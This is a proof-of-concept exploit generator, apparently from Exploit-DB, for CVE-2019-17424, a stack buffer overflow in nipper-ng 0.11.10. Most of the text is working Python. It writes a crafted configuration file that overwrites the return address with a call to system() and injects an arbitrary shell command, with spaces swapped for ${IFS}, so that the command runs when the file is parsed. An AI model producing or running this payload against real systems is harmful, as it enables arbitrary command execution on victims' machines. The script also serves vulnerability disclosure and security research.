# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
# Date: 2019-10-20
# Exploit Author: Guy Levin
# https://blog.vastart.dev
# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
# Version:  0.11.10
# Tested on: Debian
# CVE : CVE-2019-17424

"""
    Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
    Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)

    For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
    https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html

    may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
"""

import sys
import struct

def pack_dword(i):
    return struct.pack("<I", i)

def prepare_shell_command(shell_command):
    return shell_command.replace(" ", "${IFS}")

def build_exploit(shell_command):
    EXPLOIT_SKELETON = r"privilage exec level 1 " \
                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
                        "aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
                        "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
                        "acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
                        "uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
                        "adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
                        "faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
                        "aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
                        "paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
                        "agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
                        "zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
                        "ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
                        "kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
                        "ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"

    WRITEABLE_BUFFER = 0x080FA001
    CALL_TO_SYSTEM = 0x0804E870
    COMMAND_BUFFER = 0x080FA015 

    OFFSET_FOR_WRITEABLE_BUFFER = 0x326
    OFFSET_FOR_RETURN = 0x33a
    OFFSET_FOR_COMMAND_BUFFER = 0x33e
    
    OFFSET_FOR_SHELL_COMMAND = 0x2a
    MAX_SHELL_COMMAND_CHARS = 48

    target_values_at_offsets = {
        WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER, 
        CALL_TO_SYSTEM : OFFSET_FOR_RETURN, 
        COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
        }

    exploit = bytearray(EXPLOIT_SKELETON, "ascii")
    
    # copy pointers
    for target_value, target_offset in target_values_at_offsets.items():
        target_value = pack_dword(target_value)
        exploit[target_offset:target_offset+len(target_value)] = target_value

    # copy payload
    if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
        raise ValueError("shell command is too big")
    shell_command = prepare_shell_command(shell_command)
    if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
        raise ValueError("shell command is too big after replacing spaces")

    # adding padding to end of shell command
    for i, letter in enumerate(shell_command + "&&"):
        exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)

    return exploit

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
        return 1

    try:
        payload = build_exploit(sys.argv[1])
    except Exception as e:
        print(f"error building exploit: {e}")
        return 1

    open(sys.argv[2], "wb").write(payload)

    return 0 # success

if __name__ == '__main__':
    main()